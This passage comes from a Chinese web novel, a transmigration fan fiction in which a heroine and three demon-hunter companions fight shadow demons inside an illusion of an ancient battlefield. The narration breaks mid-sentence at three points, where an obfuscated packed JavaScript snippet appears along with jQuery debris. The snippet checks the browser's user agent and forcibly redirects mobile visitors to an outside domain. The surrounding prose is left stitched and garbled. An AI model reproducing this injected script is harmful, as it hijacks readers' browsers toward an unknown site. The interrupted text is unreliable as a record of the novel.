“【系统提示】:恭喜你顺利进入第二单元《古河道》,前方路险,小心行路。”
古河道。沈惊澜向前方的深林望去,若她没有记错,前方深林便是第二单元妖怪所在,此单元与幻境有关。
“裴大哥,”沈惊澜叫住前方带路的裴玄,“前面这片林子有妖气,我们还是绕路而行吧。”
卫昭明冷笑一声:“你何时能识妖气了?”
沈惊澜指指自己眉心的位置,桃花印已经隐去,皮笑肉不笑道:“明白了吗?而且我直觉一向很准的,你想去送死我不拦着你。”
这两天他怪得很,比之前还要毒舌,天天挑她刺,沈惊澜的耐心几乎要耗尽。
“地图上这片林子东西绵延,连接蘅、芜两山,绕路而行恐要耽搁不少时间。”裴玄展开地图,“林子附近确有妖气,不过树林南北不过几里路,我们步子快些,未必会遇到妖怪。”
“再说了,遇到妖怪还有我们呢。”他对沈惊澜宽慰一笑,如同春日暖阳,让人不自觉地放心下来。
“【系统提示】:不要试图绕过剧情,否则视为主线剧情失败。”
沈惊澜蔫了下来,勉强扯出一个笑:“好吧,有裴大哥和秦姐姐在,阿兰不怕。”
林深树茂,新枝抽芽吐绿,几朵娇花点缀,偶有飞鸟穿行,湖蓝翠绿的羽毛夹杂,如同镶玉嵌珠,伴着脆生生的鸟鸣,俨然一派春日气象。
沈惊澜紧紧跟在裴秦二人身后,身体绷紧,时刻留意四周的动静,无暇欣赏林中的美景。
“啊!”肩头落了东西,吓得沈惊澜叫出声,定睛一看,长舒一口气,原来是一只调皮的鸟儿飞到她肩头。
卫昭明勾起手指逗弄小鸟的嘴巴,眯起眼睛调侃道:“原来你这么胆小,一只鸟就把你吓成这样。”
“卫、昭、明,”沈惊澜咬牙切齿,“沈惊澜不把你毒哑真是太可惜了。”
她让鸟儿飞到自己虎口,摸摸它的羽毛,抬起手让鸟儿飞走,刚飞到两三丈高,鸟儿似撞到了什么东西,突然坠地,挣扎了两下后便没了气息。
沈惊澜连忙跑到裴秦二人身后,小心翼翼探出头来,只见鸟儿的尸体迅速腐化,转眼间就只剩一副白骨。
秦秋准备好流英锤,眉头紧皱:“此处有妖设下的结界,大家小心。”
“白骨露于野,千里无鸡鸣。
生民百遗一,念之断人肠。”
飘渺的歌声从远处传来,女子的声音微弱沙哑,带着战场硝烟的苍凉,如泣如诉,摧人心肝。林中一下子多了肃杀之气,春光不再,阴云笼罩,凛风四起。
鸟儿的白骨突然开始活动,头骨左右晃动了一下,振动骨骼,僵硬地缓缓飞起。
鸟儿朝着沈惊澜飞来,秦秋一锤抡过去,骨架七零八碎摔落,然后很快重组,这次它灵活了许多,扇动“翅膀”极快地再次袭来。
青风剑起,裴玄捻诀施展除妖咒,剑随咒引,直刺鸟儿的头骨。
头骨爆裂,骨渣四溅,还未落地,一股浓烟从骨渣冒出,带着呛人的火药味,很快弥漫至整片树林。
四人紧紧贴在一起,裴玄架起一道结界静观其变。
“好像有血腥味,”沈惊澜拽着秦秋的袖子,小声道,“又是火药又是血,仿佛是到了战场。”
浓烟散去,周遭完全变换了景象。
林子消失不见,取而代之的,是满目疮痍的战场!
大战刚刚结束,日光惨淡,硝烟滚滚,尸横遍野,几只盘桓许久的乌鸦终于等到机会,在断头残肢之间犹豫,不知道该从哪里下嘴。
剑戟长枪上残留了浓稠的鲜血,顺着红缨滴下,浓重的血腥味刺激着鼻腔,沈惊澜哪里见过这种场面,胃里翻江倒海,再也忍不住吐了出来。
“阿兰别怕,这是幻境。”秦秋轻轻拍了拍她的背,安抚道。
“好,我不怕,”沈惊澜刚起身,正好瞥到一个士兵身体被长枪撑住,胸口被贯穿,死不瞑目,瞪着前方,鲜血染红他的眼眸,似流下了血泪,“呕——”
喉咙被呕吐的胃液腐蚀,难受得紧,沈惊澜深呼吸几口,擦干呕出的眼泪,强迫自己冷静下来。
眼前突然多了一只修长苍白的手。
“胆子小就别到处看。”卫昭明的声音依然欠揍。
“卫昭明,”沈惊澜的声音有些哑,“你不说话的时候还算个好人。”
“踏踏踏——”远处传来马蹄声,一个身披金甲的将军手握长枪,带着一百骑兵奔来。
“你们是何人!”纯白战马在他们面前停下,战马嘶鸣,对他们的到来非常不满。
裴玄道:“将死之妖,无须多言。”说完拔剑跃起,冲着对方的头砍去。
剑轻而易举刺透他的头颅,似刺到了虚无,将军摆了摆头,脖子发出“咔嚓咔嚓”的声音,一双细目上挑,鹰一般的眼神直勾勾望着四人,“你想杀我,看来你们是奉国的妖兵了,来人,把他们拿下!”
数十士兵手持长剑将他们团团围住,沈惊澜躲在三人身后,悄声问:“他们是妖还是幻境?为何裴大哥伤不了他们?”
卫昭明道:“可能是影妖,影妖有形无体,兵器伤不了他们。”
“那他会伤到我们吗?”
“不会。人死后其影子成妖,我们伤不了他们,他们也伤不了我们。”
沈惊澜稍稍放下心来:“那我们怎样才能离开幻境?”
卫昭明没来得及回答,对面士兵一齐冲向他们。
一把长剑刺穿秦秋的身体,眼看就要刺到沈惊澜,见秦秋没流血,她便没躲,“影妖而已,虚张声势。”
然后长剑透过秦秋,没入她的肩头,剧痛袭来,沈惊澜不可置信地看着胸口涌出的血,眉心桃花印显现,无数桃花瓣凭空出现把她围起,一股强大的力量袭向士兵,“咚”的一声把他弹飞。
沈惊澜摇摇欲坠,一个绯红的身影抱住了她,身上有凛冽的寒意。
“该死!”卫昭明脸色阴沉,快速为她封住穴位止血,浮光剑发出铮铮剑鸣,等不及要出鞘。
托船山的福,伤口不算太深,沈惊澜被吓到了,靠在卫昭明的怀里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717022|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些晕眩。
她哭丧着脸道:“卫昭明我怎么这么倒霉啊?”
怎么偏偏就能刺中她呢?
“别说话,好好休息。”
卫昭明食指中指并拢,立于胸前,一道剑光闪过,浮光剑随其指引,游龙一般斩向方才的士兵。
一剑断头。
“是鸟,是那只小鸟……”沈惊澜终于反应过来,忍住疼痛,轻轻说道,生怕扯到伤口,“我和卫昭明都碰到了那只小鸟……”
对面不再给他们喘息的机会,嘶吼着扑来。
如今只有卫昭明一人能战,他把沈惊澜交给秦秋,手握浮光剑,脚下生风,在士兵之间穿梭,所到之处一剑封喉,鲜血喷洒,与他绯红的衣袍相映。
四个士兵将他十字围住,另有十余士兵围在外层,形成密不透风的兵墙。卫昭明飞出浮光剑,剑悬在半空,“起!”眨眼之间剑一分为四,分列四个方位。
“破!”
四剑齐发,贯穿四个士兵后速度不减分毫,变换方向刺向外层的士兵。
剑收。卫昭明浑身是血,衣袍被染成深红色,于白马前持剑直指金甲将军。
“让开。”
金甲将军长枪挑起浮光剑,残阳下,剑与长枪红似泣血。
卫昭明低声喝到:“找死。”
他纵身跃起,脚点长枪立于马头,然后飞身经过金甲将军,剑花一挽,头颅应声落地,不带一丝停歇,转而又飞到士兵当中。他杀红了眼,不断重复着挥剑的动作,不知疲惫。
杀了不知多久,一百余人尽斩于剑下。
沈惊澜暗暗松了一口气:“看来影妖很弱,只要有点修为,他们便不足为惧。”
“卫昭明,你还好吧?”他收起剑低头走来,衣袍被血彻底染透,高高的马尾在萧瑟的风中扬起,血顺着乌黑的头发滴下,滴在地上溅起一朵朵小小的血花。
此处荒凉,几棵枯树上只剩下两三片褐色的枯叶,黑鸦“啊——”“啊——”地叫着,庆祝又有了新的食物。
这一单元名为古河道,沈惊澜记得这一单元的关键就在河里,只要打败河中妖怪便可打破幻境,她放眼望去,哪里有河的影子?
“他刚才说什么奉国,奉国在哪里?”沈惊澜靠在秦秋怀里,身体还很虚弱,脑子却一刻不敢停地飞速转。
秦秋回忆道:“奉国好像是百余年前的古国了,一百多年前,奉国灵君昏庸无道、荒淫无度,各地起兵造反,最后万州的一个山匪自立为王,率领各路叛军杀入京城,手刃灵君。”
沈惊澜想起刚才那位金甲将军的模样,古铜色的皮肤,剑眉入鬓,细目如鹰,颇有枭雄之相:“难道刚才的将军就是那山匪?”
“很有可能。”
可是看他的样子,那一队像是一队残兵,士兵脸上尽是悲愤,不像打了胜仗。
沈惊澜看向卫昭明,他有点反常的沉默:“卫昭明,你怎么看?”
卫昭明闻言抬起头,满是鲜血的脸上,一双含情的桃花眼变成血红色,额头青筋暴起,浮光剑出鞘,直指沈惊澜!
12. 第 12 章
千钧一发之际,船山之力再次显现。
浮光剑刺穿桃花阵后定住,数百朵桃花凝成桃花扇,绕剑拍向卫昭明手腕。浮光剑掉落,卫昭明恍惚了一下,眼神渐渐恢复了清明。
沈惊澜心跳到了嗓子眼,差点瘫倒在秦秋怀里。“卫昭明?”她小心翼翼问道,“你正常了吗?”
卫昭明皱起眉头,用手狠狠拍了拍自己的脑袋:“我刚才好像被影妖附身了。”
“你没事吧?”他伸出手,想要碰她,伸到一半顿住。
他怕再控制不住地伤害她。
“没事……”沈惊澜心有余悸地后退了一步,“只是现在有些晕。”
卫昭明垂下手:“抱歉。”
“【卫昭明好感度】:50%。”
沈惊澜苦笑,这哪是好感度,分明是愧疚度。卫昭明此人的感情跟过山车似的,太难捉摸,她已经佛系随缘了。
除幻咒试过了,对这个幻境无用,整个幻境如同一个巨大的影子,除幻咒施展在影子上,被影子吸收,白白浪费力气。
“秦姐姐,关于这个金甲将军你还知道些什么?”
沈惊澜总觉得他是关键角色,不会这么轻易就死掉。
秦秋一边回忆一边道:“他好像名唤张衍,后来被永安王所败,兵退万州后想要东渡,最后下落不明,有人说他死了,有人说他一路东行至海,逃往不知名的地方了。”
“我想起来以前看过这里的地方志,此处原来有条河。”沈惊澜试着引出河道。
“百余年前这里还是河流,与张衍同时存在,”虽然听起来没有什么关系,但沈惊澜表现得十分笃定,“一定与河流有关,张衍肯定是幻境的关键,当年他一定是走的水路顺流向东,我们必须找到河流!”
其他人不解:“你为何如此确定?”
“我……”沈惊澜哑住,不知该如何解释,她恳切地望着秦秋,墨黑的眼眸中带着急切,“我有的时候可以未卜先知,你们信吗?”
“阿兰,你也许是太累了。”秦秋担忧地看着她,搂着她的手轻轻拍抚她的肩膀,“这几日行路艰苦,又屡次陷入危险,对于普通人来说你已经很坚强了。”
言下之意是觉得她糊涂了。
“你不必担心,我们会找到破解幻境的方法。”
他们不信。
是啊,她不过是个普通人,不知道这里的历史,不会法术,来路不明,他们能带她去莽山已是善心大发,能信她未卜先知才是有鬼。
沈惊澜头痛得紧,天际残阳渐渐被黑夜吞噬,肚子因为呕吐空空如也,此刻开始叫嚣着饥饿。
见她蔫头耷脑的样子,卫昭明从包袱里掏出一块干粮,跟水一起递给她。
“你受了伤,先补充一下体力,旁的事先别想。”
许是因为刚才差点伤了她还心存愧疚,说的话总算还不算讨人厌。
干巴巴的干粮实在味同嚼蜡,沈惊澜就着水每一口都嚼得费劲,嚼到最后腮帮子发酸,一口水一仰头强迫着自己囫囵吞下。
好想念红烧肉、烤猪蹄、火锅……此处的苍凉让她产生几分伤春悲秋之感,再加上倒霉受伤,沈惊澜有点想撂挑子不干了。
太苦了,当炮灰太苦了,连只鸟都能给她下套。
秦秋扶着她到一处平坦的地方坐下,谁知刚迈出一步,扶着她的力道突然消失,沈惊澜没防备,一个趔趄摔了个狗啃泥。
肩头的伤口传来剧痛,沈惊澜欲哭无泪想骂天。
“阿兰你没事吧?”秦秋慌张地伸出手,沈惊澜摔得有些迷糊,头昏脑胀,视线还未完全清明,模糊之间看到她的手穿过了自己的身体。
裴玄也来扶她,依旧触碰不到她的身体。
沈惊澜彻底慌了,难道自己变成了影妖?她还未完全恢复清醒,慌乱之间茫然地伸出手想要抓住什么,一股凉意传到手上,还带有一点黏稠的感觉。
眼前多了一个红色的身影。
好重的血腥味。沈惊澜皱皱眉头。手中的凉意退去一刹,然后重新抓住她的手。
沈惊澜视线这才恢复正常。一只苍白的手,带着满手暗红的血,把她的手也染红。“卫昭明,你能碰到我。”
“刚才秦姐姐也能碰到我。”
沈惊澜摇了摇头,让自己清醒。
她让秦秋回到原来的位置,再去碰她,这次果然触碰到了。
“这里是我们进入幻境的地方,看来只要离开原点,我们便如同两个世界的人,无法触碰了。”
也就是说,幻境中只有她和卫昭明是实体,连秦秋和裴玄也成为了“影妖”。
“走吧,先找处地方歇脚,”卫昭明在沈惊澜面前背对着她,蹲下身子,“否则走出幻境之前你便要‘香销玉殒’了。”
沈惊澜忍住气,假笑道:“那便有劳卫公子了。”
她爬到卫昭明背上,一只手环在他脖颈,另一只手悄悄伸到他脖子后面,使劲扭了一下他的肩膀。
“你!”卫昭明停下脚步,想要回头,却被沈惊澜一把把头扭了回去。
“卫公子,”沈惊澜凑到卫昭明的耳边,夹着嗓子娇滴滴道,“奴家香销玉殒了,可要拉上公子垫背呢。”
卫昭明抖了两抖。
就是要恶心他。
幻境里的月亮格外大而明亮,昏黄的圆月高悬,带着血色,似一轮假月。冰冷的月光照亮一条泥泞的小路,四人无路可选,只得顺着这条路走下去。
这里没有山,沈惊澜身体无法快速恢复。卫昭明步伐很稳,她趴在他瘦削的背上虽然有点硌人,但却十分安心。
“卫昭明。”她在他耳边小声道。
她一直这样直白地唤他,连名带姓毫不客气。
卫昭明没有理他。
沈惊澜也不管他是否回应,自顾自道:“还有两日你就又要毒发了,万一来不及去莽山,万一找不到解药,你害怕吗?”
“你要是还有力气就自己下来走。”
沈惊澜把他箍得紧了些,生怕自己掉下去。卫昭明身体一僵,声音有些恼:“别乱动。”
“哦。”
“你真的不怕吗?”她还是不死心,继续追问。
卫昭明沉默。
就在沈惊澜以为他不会回答的时候,他突然道:“我不能怕。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717023|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不是不怕,是不能怕。
她好奇:“为何不能?害怕不丢人,如果我是你,我肯定怕死了。”
“因为我和你不一样。”不知是不是错觉,沈惊澜觉得他声音中有无限的惆怅。
因为他是锦绣城的少主,所以他不能怕。沈惊澜抽出一只手拍拍他的马尾,浓稠的血液干在他的发梢,她干脆用手作梳子给他捋开被血粘住的头发。
也许是炮灰之间的惺惺相惜,沈惊澜突然觉得卫昭明也蛮可怜的,从小没了母亲,父亲对他严厉冷淡,他没有资格哭闹,只能让自己不断变强。“就算不一样,每个人都有害怕的权利。”
卫昭明低着头,认真地一步一步走着,避开坑坑洼洼的不平处。
“你别不说话装高冷呀,咱俩都是炮灰,你不怕吗?我可是怕得要死。”
沈惊澜自顾自地说下去:“这个世界怎么这么多妖怪啊?你说我能活着到莽山吗?裴大哥和秦姐姐会在一起吗?”
这几日对未来的恐慌一直笼罩在她头顶。这是《志妖录》的同人文,她不是活到最后称王的设定,从第一天到船山开始就已经开始显现她炮灰的属性,而到了古河道这里,原著本来是她和裴玄可以互相触碰到,所以在危险的时候裴玄出手相救,两人感情进一步升温。
又改变了,似乎有什么力量在促使卫昭明代替原来裴玄的位置。
沈惊澜现在很乱,心中的情绪宛如烧开的热水直往外溢。但她没有可以倾诉的对象,卫昭明与她同为炮灰,便忍不住想要同他多说几句。
“你怎么如此关注师兄师姐的感情?”
“我,”沈惊澜噎了一下,故作娇羞的样子,“人家想当红娘嘛。”
“你似乎把这件事看得很重,”卫昭明慢慢道,“仿佛是你活命之外最重要的事。”
又在试探。沈惊澜庆幸现在他看不到自己的表情,否则又要在他面前装模做样实在太累。“你不是也希望他们在一起吗?我是见过太多男女之间羞于表露心意结果错过彼此的事情,所以不希望他们抱憾终身。”
“那你呢?”
沈惊澜一时没反应过来:“我怎么了?”
“你错过了那些情郎,不觉得可惜?”
他的声音闷闷的,沈惊澜听出一些不怀好意。“嘁,懒得跟你多费口舌。”
“反正到莽山之前,我一定要让裴大哥和秦姐姐在一起,你最好帮我。”
前面的人像是听到了他们的谈话,裴玄回过头,好奇道:“你们在嘀咕什么呢?是不是在说我与阿秋的坏话?”
卫昭明道:“师兄,阿兰说你跟师姐很配呢。”
??卫昭明你有病吧?你怎么就直接说出来了呢?沈惊澜把头埋进他的后脖处,羞于见人,暗中在他的后腰狠狠拧了一下。
“她还说她要撮合……”
“别说了!”沈惊澜连忙从他身上跳下来打断他,指着远处昏黄的一点灯光,“你们看,前面好像有户人家。”
月色渐浓,血色尽显。血月之下,黑夜之中,一点点的昏黄如同猎人布下的诱饵,而他们明知那有可能是陷阱,别无选择,只能心甘情愿地入局。
13. 第 13 章
一间简陋的茅屋。
裴玄上前叩门,一个身着朴素的中年妇人打开了门,看到四人样貌,警惕地把门半合上:“你们是?”
裴玄伸手去抓那妇人的手腕,果然,手直接穿透过去,只抓住了虚无。
“又是影妖。”
妇人立马关上门,隔着门大声道:“你们究竟是什么人!想干什么!”
对方似乎不像金甲将军那般有敌意。
裴玄缓和了语气:“深夜叨扰,还请见谅,我们四人赶路至此,其中一位受了伤,还望能借宿一晚。”
妇人道:“受伤?你们不会是遇到金甲将军了吧?”
四人对视了一眼:“你也认识他?”
“怎会不认识。”
妇人再次打开门,眼中的警觉消失,同情地望向沈惊澜:“你们进来吧。”
屋子里有一盏快燃尽的烛灯,火苗跳跃不定,没有温度。妇人翻箱倒柜翻出两个缺口的陶杯,倒满热水:“条件简陋,各位将就一下吧。”
秦秋端起杯子,抿了口水:“物品可以触碰到,水也可以,只是人不行。”
妇人似乎对这种情况见惯不惯,虽然不懂她的话,也没多问。
“几位真见到了金甲将军?”
“是。”
妇人惊异:“遇到他还能活下来,当真是少见。你们几位一定是世外高人吧?”
秦秋没有正面回答:“他很是残暴吗?”
她这一问,妇人立刻红了眼睛,面露悲痛之色:“何止是残暴,简直是,简直是……”
话没说完,便开始哭起来。
沈惊澜戳戳卫昭明的胳膊,小声问道:“妖精之间还会有这种矛盾吗?还是说他们之间还要互相演戏啊?”
“影妖不同于其他的妖,他们的存在都有凡人的原身,凡人执念太重,弥留之际执念变为影妖,肉身死后,影妖便会模仿他们的原身生活。”
“那影妖可以存在于幻境中?”
卫昭明摇了摇头:“原先我也不知道,但如今来看,确实如此了。”
妇人一哭就停不下来,起先只是低声啜泣,后来哭到忘我处,伏案抱头痛哭不止。
秦秋发挥她安慰人的本领,拿出手帕为妇人擦干眼泪,眉头微蹙,眼中不忍,柔声道:“别哭了,告诉我们发生了什么,说不定我们可以帮你。”
妇人哭得上气不接下气,握住秦秋的手,眼睛通红,满脸泪痕,一把鼻涕一把泪断断续续道:“那金甲将军本名张衍,但我们都不敢直呼他的名字,否则要惹来杀身之祸。”
大奉明德十六年。
南方洪灾,北方大旱,国库空虚,赈灾银粮又被地方官员层层克扣,民不聊生,又逢外族侵扰,内忧外患,整个王朝在风雨飘摇之中,只待有人揭竿而起。
张衍就是其中之一。他本为万州一山匪,颇有些侠肝义胆,号召万州百姓随他除暴君,开盛世。万州正受洪灾,百姓食不果腹衣不蔽体,走投无路唯有一搏,于是纷纷响应,自万州起一路北上,沿途不断收编流民,队伍不断壮大,势头之盛,为起义军中之首。
“张衍如有神助,一路杀到京城,攻破皇宫,斩下灵君首级,一时间风头无两。”妇人的声音微微沙哑,带着历史的沧桑与无奈。
沈惊澜忍不住问道:“后来为何又败给永安王了呢?”
妇人长叹一声,望向窗外的血月,眼中噙泪:“张衍当山匪时,常劫富济贫,也算有点侠义,可是攻下京城后他便性情大变,他下令屠城,放任手下烧杀抢掠无恶不作,京城无辜被害的百姓数万人不止,没有人会拥护一个暴君,曾经的灵君便是前车之鉴。”
张衍的军队在京城肆意横行,每天不是美酒就是美人,京城内血流成河,他们便以血为池,高歌宴饮。此时永安王自北南下,带领大军攻入京城,铁骑踏入京城时,张衍的手下还在街头寻欢作乐,酒未醒便被斩于马下。
“张衍先一步得到消息,带领一队精锐仓皇出逃,一路走山路逃回万州,彼时万州百姓还不知道京城发生了什么,还以为他是被奸人所害,要与他一起伐无道。”
“再然后呢?”
“咚咚咚——”
一阵急促的敲门声打断了他们。
还有其他人进入了幻境?沈惊澜没来由地心跳加快,有一种不祥的预感。
卫昭明手已摸到浮光剑,死死盯着门:“躲我身后,外面人很多。”
“咚咚咚——”门外的人似乎不太有耐心,再次敲门,更加急促。
妇人看了四人一眼,卫昭明冲她点点头,这才慢慢挪到门口,强压着声音中的颤抖:“谁这么晚了还来敲门,扰人清净。”
“深夜叨扰,还请见谅。”
沈惊澜瞳孔骤缩,不自觉地抓紧卫昭明的衣袖。“是金甲将军的声音,他不是已经死了吗,怎么会……”
“无妨,大不了再杀一遍。”
卫昭明示意妇人和沈惊澜躲起来,拔出剑,侧身站在门旁,一点点打开门。
寒风从门缝涌入,烛火被吹灭,屋子霎时陷入黑暗。
一把长剑猛地刺进屋内,同时几个士兵用身体撞开门,卫昭明反手握剑向后斜刺,贯穿为首的士兵胸膛。
“这里竟有埋伏!”张衍大怒,数十士兵破窗而入,与门口的士兵形成包夹之势,沈惊澜和妇人躲在衣柜里不敢出声,通过柜门的缝隙,隐隐可以看到外面的情况。
裴玄和秦秋无法出手,好在影妖实力不强,卫昭明还应付得过来。
几乎是与之前同样的剧情,卫昭明杀光所有影妖,眸子变得赤红。
糟了,他又魔怔了。
杀这些影妖会入魔,不杀则自己会被他们所杀,这是个死局!
透过柜门的缝隙,沈惊澜看着卫昭明提着滴血的剑,一步一步靠近。
夜色深沉,她看不清他的面容,只能看到一双赤红的桃花眼。
“昭明你冷静一下!”秦秋和裴玄试图拉住他,毫无悬念地失败了。
只能祈祷船山的力量了。沈惊澜犹豫片刻,在卫昭明之前推开柜子的门,踩着满地的血,直面他。
“卫昭明,你看清我是谁。”
卫昭明置若罔闻。
额头的桃花印隐隐发烫,如同烙红的铁灼烧。看来船山的力量有限,触发次数太多会反噬。
沈惊澜忍住头疼,向一旁的裴玄求助:“裴大哥,把你的剑借我一用。”
裴玄没有犹豫把青风剑递给她,嘱咐道:“青风剑锋芒太利,小心伤到自己。”
沈惊澜穿过裴玄的手,握住剑柄。
裴玄顿了一下:“记得避开要害。”
他其实不担心沈惊澜会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717024|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤到卫昭明,一个弱不经风没用过剑的女子,无论如何也打不过一个除妖师,他更担心卫昭明的剑不认人。
武器在他和秦秋手中便失去作用,这个幻境实在古怪。
浮光剑已经对准她的脖子,沈惊澜双手握剑,亦对准卫昭明。
剑在抖,她的整个身子都在控制不住地抖。
卫昭明突然上前一步,速度极快,沈惊澜几乎看不清他的动作,眼前闪过剑光,下一秒,温热的血溅在了自己脸上。
怎么不觉得痛?
沈惊澜抹了把脸,血腥味太重让她一阵恶心。她回头望去,卫昭明在她身后,浮光剑刺进了妇人的身体。
妇人半跪在地,身体前倾,手里拿着一把短刀,恰恰抵在沈惊澜的后背。
“卫昭明,”她抱有一丝幻想,“你还认得我吗?”
被杀意淹没的眼眸恍惚了一下,卫昭明闭上眼睛,眉头皱在一起,似乎很痛苦。
沈惊澜示意裴玄拿起陶杯,必要的时候把杯子往卫昭明头上扔。
时间似乎静止了。
他的身体微微颤抖,绯红的光围绕四周,犹如惊涛骇浪翻涌不定。
沈惊澜大气不敢出,死死握住剑,盯着卫昭明,瞄准他持剑的手。
不能杀他,只能夺刃。
做梦呢,不被他杀就不错了。沈惊澜已经开始胡思乱想自说自话。
他缓缓睁开眼睛。
“卫昭明?”沈惊澜一口气提上来,低头想看清他半睁半垂的眼眸。
他终于开口:“阿兰姑娘这样美貌的女子我怎会忘?”
他抬起眼眸,赤红不再,漆黑如夜。
“咣当”一声,青风剑掉落,沈惊澜腿一软,差点没站稳,勉强扶着柜子站直身体。
“你不会说话就闭嘴。”沈惊澜直喘粗气,方才紧张到几乎缺氧,现在终于可以安下心来。
卫昭明耸耸肩:“不说话你又担心。”
“这里的杀戮会让人入魔,我既已着过道,便不会再被控制第二次。”
…………
云山锦绣城,阵兽堂。
堂中一只巨大妖兽雕像,头似虎,身似蛇,生两翼,足四双。妖兽被一根拳头粗的铁链捆绑,一把铁剑自头刺入,形状可怖。
一名中年男子双手负于身后,背对堂门而立,着一身青黑衣袍,腰佩玉带钩,头戴象牙簪,五官硬朗,不怒自威。
一个白衣年轻人趋步走进,毕恭毕敬道:“掌门,有消息来报。”
“说。”
年轻人低着头:“少主一行疑误入幻境,许久未出,恐有危险。”
卫长枢嘴角微微下抿,显然有几分不悦:“无能便罢了,还要拖累玄儿和秋儿。”
年轻人见他生气,头压得更低,噤声不言。
“继续说,那个女子调查得如何了?”
年轻人道:“那名女子仿佛凭空出现在世上,目前还未查到线索。”
“无能!”
“掌门息怒。”年轻人扑通跪下,头紧紧贴住地面。
沉默许久,卫长枢长叹一声:“罢了,继续盯着吧,暂时不要现身。”
“弟子遵命。”年轻人如释重负,低头快步离开。
无人敢在这里多停留,自然也就看不到他们转身离去时,妖兽的眼睛缓慢地转动。
14. 第 14 章
“我们救了你,你为何要杀我?”沈惊澜在妇人身旁蹲下,不解道。
妇人倒在血泊中,还剩一口气:“你们……也是……恶人……”说完便咽了气。
“哎,别死啊,我们为什么是恶人你说清楚。”明明之前对他们没有这么大的敌意,怎么转眼间就要杀她呢?沈惊澜晃了晃她的肩膀,发髻在摇晃之间散乱,耳畔的头发松散开,沈惊澜的手一下子变得冰冷。
“她没有耳朵,”她倏地起身,后退两步,声音中有掩盖不住的恐慌,“不是天生的,我看到了伤口。”
卫昭明蹲下身子,拨开妇人耳边的头发查看,两只耳朵都没有了,伤口整齐,已经不流血,但还未结痂。“看着像被人一刀砍下。这应当是她死前的样子。”
“不可能,”裴玄走上前,俯身查看妇人的耳朵,不可置信道,“可我们刚刚进来时她有耳朵,当时她刚开门,我分明看到她戴着银耳环。”
“她说我们也是恶人,砍下她耳朵的人可能是张衍,也可能是像我们这样的人?”
闹鬼了。沈惊澜头皮发麻,她重新点燃烛火,待在烛火可以照亮的地方。屋外漆黑夜色,屋内暂且可以休憩,她不敢再待下去了。
张衍可以复活,这个妇人呢?应当也可以,届时趁他们熟睡梦中来上一刀,直接结束主线。
沈惊澜不寒而栗。“这里太邪门,我们还是换个地方过夜吧。”
可是能换到哪里呢?
不出幻境,便没有安全的地方。张衍行踪不定,若再次相遇卫昭明又入魔又该如何?
“不行,不能停,要继续走下去”思来想去,沈惊澜改变主意,“走下去,才有更多的信息。”
裴玄点头:“不错,若我们不在幻境,正常应当是张衍闯入屋子,杀掉妇人。”
“张衍是败军,如今来看正是他逃亡之时,他人马百余人,绝不是要借宿于此,一定是另有所图。”裴玄继续分析道。
寒风从窗户涌入,沈惊澜把头伸出窗外,凛冽的气流让她冷静下来。不远处有间相似的茅屋,相似的昏黄的烛光,再远的地方,点点烛火,宛若疏星。
她陡然升起一个念头,收回脑袋急切道:“我们快去前面的茅屋看看,我有种预感还会碰到张衍。”
这里若是影妖构建的幻境,上演的当是他们生前真实的景象。
张衍应当是一路杀过来的。这一户杀完,他一定会出现在下一户人家。
天好像亮了一些。
这一户人家依然只有一个妇人,身着朴素,瘦削矮小,眉眼又细又长,眼睛弯如新月,发间几缕白发,看起来约莫不到四十。她刚热上饭,见四人来,很热心地为他们倒了碗热汤,笑道:“你们从哪来?如今万州可不太太平,最好趁早离开。”
“阿婶,我们从外地来,今天刚到这里,听人说金甲将军如今在万州,可金甲将军不是攻到京城了吗,怎会回来?”秦秋一边喝着热汤,一边试探道。
听到“金甲将军”四个字,妇人脸上的笑容凝固,她跑到窗边望了望窗外,把窗重重合上,这才到几人面前低声道:“金甲将军的名号不好随便提的。”
秦秋学着她的样子压低声音:“为什么呀?大家好像都很怕他。”
“哎,”妇人鼻子一酸,红了眼,“金甲将军早就败了,如今回到万州听说杀了很多人,刺史大人也早就被他杀了,如今万州不过虚城一座了。”
跟之前的妇人的话倒是能接上。
“那您为何不离开万州,另寻一个安全的地方呢?”
妇人一听落了泪:“离开?还能去哪儿?万州有张衍,其他州就太平吗?”
“更何况我要在这等我儿回来。”
“他随张衍征战,一个月前同乡传来消息,说他在京城被永安王的人杀害。我儿身不得归故土,我总要在这里等着他的魂儿,否则他要找不到回家的路了。”
人如蝼蚁,大厦将倾,蝼蚁做什么都是徒劳。
所以在进入幻境之前,有人在唱“白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠”,原来是在唱这一段过往。
这茫茫大地,人们竟没有选择。
几人哑然,即使知道对方是妖,大奉也已灭亡百年,但兴衰之感,古往今来皆是相通。
“咱们村附近,可有什么河?”沈惊澜问道。
